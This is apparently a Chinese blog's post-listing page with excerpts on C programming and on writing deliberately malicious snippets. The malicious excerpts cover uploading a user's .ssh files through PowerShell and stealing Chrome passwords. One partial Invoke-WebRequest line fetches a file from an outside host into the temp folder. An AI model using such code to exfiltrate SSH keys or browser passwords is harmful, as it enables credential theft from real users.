![](https://img-blog.csdnimg.cn/20201014180756780.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
C/C++
think_ycx
这个作者很懒,什么都没留下…
展开
-
【Linux C】遍历 指定文件夹(home)的所有文件 (非递归实现)
为什么要写这个呢...是因为要出一些恶意的代码片段,有一个遍历文件夹的需求。按照要求,所有的恶意行为只能写在一个函数中,且不能有注释。本来不想自己写,可是google到的遍历文件夹的代码全是递归写的。虽然gcc也支持内部函数的编译,但是这样感觉不太优雅,于是稍微修改一下,就有了下面的代码。实现思路其实很简单,其实就是链表啦,不过上次写链表还是13年吧,真太菜了。用一个结构体保存 1. 当前文件夹的...原创 2018-06-19 12:50:56 · 1878 阅读 · 3 评论 -
【Windows C++】调用powershell上传指定目录下所有文件
上周写的一个恶意代码片段,功能为:C++实现读取"C:\Users\thinkycx\.ssh\"目录下所有文件(不包括子文件夹),使用getProcessAddress获取system函数地址,动态调用system执行命令:powershell上传文件。测试powershell功能用的上传命令,注意powershell代码中的\"代表转义的"。powershell "Invoke-R...原创 2018-07-23 17:49:56 · 2597 阅读 · 0 评论 -
【Windows C++】powershell 获取chrome密码并上传
获取chrome密码是lijiejie的python脚本,因此powershell代码依赖于:python和pywin32(通过pip安装)powershell代码:#1 下载文件保存在用户temp目录下Invoke-WebRequest -Uri http://zheli.org/data/201808795723.txt -OutFile $env:temp/update.txt ...原创 2018-08-12 20:27:42 · 613 阅读 · 0 评论 -
C语言typedef详解
原文:https://blog.csdn.net/CHENYUFENG1991/article/details/50680876在C还是C++代码中,typedef都使用的很多。typedef与#define有些相似,其实是不同的。基本定义:typedef为C语言的关键字,作用是为一种数据类型定义一个新名字,这里的数据类型包括基本数据类型(int,char),也包括自定义...转载 2019-03-12 16:07:17 · 12616 阅读 · 0 评论 -
关于/usr/include/下各种unistd的区别
unistd是unix standard的简称,主要封装了一些glibc函数和系统调用相关的定义(个人理解)。具体参考这里:https://zh.wikipedia.org/wiki/Unistd.h我在linux的/usr/include下发现了有很多unistd文件,具体说来:/usr/include/unistd.h 1/usr/include/linux/unistd.h ...原创 2019-03-17 16:52:22 · 1607 阅读 · 0 评论